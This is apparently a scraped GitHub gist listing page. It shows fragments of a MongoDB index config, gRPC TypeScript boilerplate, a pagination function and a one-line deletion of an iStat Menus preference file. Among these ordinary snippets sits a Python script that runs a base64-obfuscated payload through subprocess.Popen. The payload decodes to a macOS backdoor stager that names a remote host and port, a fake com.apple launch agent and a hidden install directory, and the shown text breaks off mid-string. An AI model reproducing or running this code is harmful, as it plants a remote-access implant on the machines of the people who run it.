This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[ | |
{ | |
"collection": "collection_name", | |
"cap": null, | |
"index": [ | |
["-createdAt"], | |
["-status"], | |
["-trackId"], | |
["-cartId"], | |
["-orderId"], |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import subprocess | |
PwiGfEUytuTIa = "DknzeU4NgoyJL" | |
subprocess.Popen("echo IyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KaW1wb3J0IHVybGxpYjIKZnJvbSBiYXNlNjQgaW1wb3J0IGI2NGVuY29kZSwgYjY0ZGVjb2RlCmltcG9ydCBnZXRwYXNzCmZyb20gdXVpZCBpbXBvcnQgZ2V0bm9kZQpmcm9tIGJpbmFzY2lpIGltcG9ydCBoZXhsaWZ5CgoKZGVmIGdldF91aWQoKToKICAgIHJldHVybiBoZXhsaWZ5KGdldHBhc3MuZ2V0dXNlcigpICsgIi0iICsgc3RyKGdldG5vZGUoKSkpCgoKWUNWS3NESldaa3cgPSAiejZ0YUk4SmUyZ3UiCmRhdGEgPSB7CiAgICAiQ29va2llIjogInNlc3Npb249IiArIGI2NGVuY29kZShnZXRfdWlkKCkpICsgIi1leUpzYjJGa1pYSmZiM0IwYVc5dWN5STZJSHNpY0dGNWJHOWhaRjltYVd4bGJtRnRaU0k2SUNKSFUyMUxRWE5zWmtGWGVVaFNWU0lzSUNKc1lYVnVZMmhmWVdkbGJuUmZibUZ0WlNJNklDSmpiMjB1WVhCd2JHVXVha1ZNWWxSQllrRnJWMDFEYkhnaUxDQWliRzloWkdWeVgyNWhiV1VpT2lBaWJHRjFibU5vWDJSaFpXMXZiaUlzSUNKd2NtOW5jbUZ0WDJScGNtVmpkRzl5ZVNJNklDSitMMHhwWW5KaGNua3ZRMjl1ZEdGcGJtVnljeTh1UjJkdWNHRkxXVXA1ZEZraWZTd2dJbkJoZVd4dllXUmZiM0IwYVc5dWN5STZJSHNpYUc5emRDSTZJQ0l4TlRjdU1qTXdMak00TGpFd09DSXNJQ0p3YjNKMElqb2dNVEl3TUgwc0lDSjBlWEJsSWpvZ01IMD0iLAog |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rm ~/Library/Preferences/com.bjango.istatmenus.plist |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
. | |
├── dist/ # Compiled files | |
├── src/ # Source files | |
│ ├── handlers/ # gRPC service handlers | |
| │ └── greeter.ts # Greeter service definitions | |
│ ├── proto/ # Proto files | |
│ │ ├── greeter/ # Greeter gRPC service | |
│ │ │ └── greeter.proto | |
│ │ ├── index.ts # Registers all the proto typescript definitions | |
│ └── server.ts # Bootstrap server, add middleware (logs, graphql...) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
syntax = "proto3"; | |
package greeter; | |
// The greeting service definition. | |
service Greeter { | |
// Sends a greeting | |
rpc SayHello (HelloRequest) returns (HelloResponse); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
BASEDIR=$(dirname "$0") | |
cd "${BASEDIR}"/../ | |
PROTOC_GEN_TS_PATH="./node_modules/.bin/protoc-gen-ts" | |
GRPC_TOOLS_NODE_PROTOC_PLUGIN="./node_modules/.bin/grpc_tools_node_protoc_plugin" | |
GRPC_TOOLS_NODE_PROTOC="./node_modules/.bin/grpc_tools_node_protoc" | |
for f in ./src/proto/*; do |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import './greeter/greeter_pb'; | |
import './greeter/greeter_grpc_pb'; | |
export const protoIndex:any = ():void => { | |
}; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import * as grpc from 'grpc'; | |
import { HelloRequest, HelloResponse } from './proto/greeter/greeter_pb'; | |
import { GreeterService, IGreeterServer } from './proto/greeter/greeter_grpc_pb'; | |
class GreeterHandler implements IGreeterServer { | |
/** | |
* Greet the user nicely | |
* @param call | |
* @param callback |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import 'dotenv/config'; | |
import * as grpc from 'grpc'; | |
import { protoIndex } from './proto'; | |
import greeterHandler from './handlers/greeter'; | |
protoIndex(); | |
const port: string | number = process.env.PORT || 50051; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Implementation in ES6 | |
function pagination(c, m) { | |
var current = c, | |
last = m, | |
delta = 2, | |
left = current - delta, | |
right = current + delta + 1, | |
range = [], | |
rangeWithDots = [], | |
l; |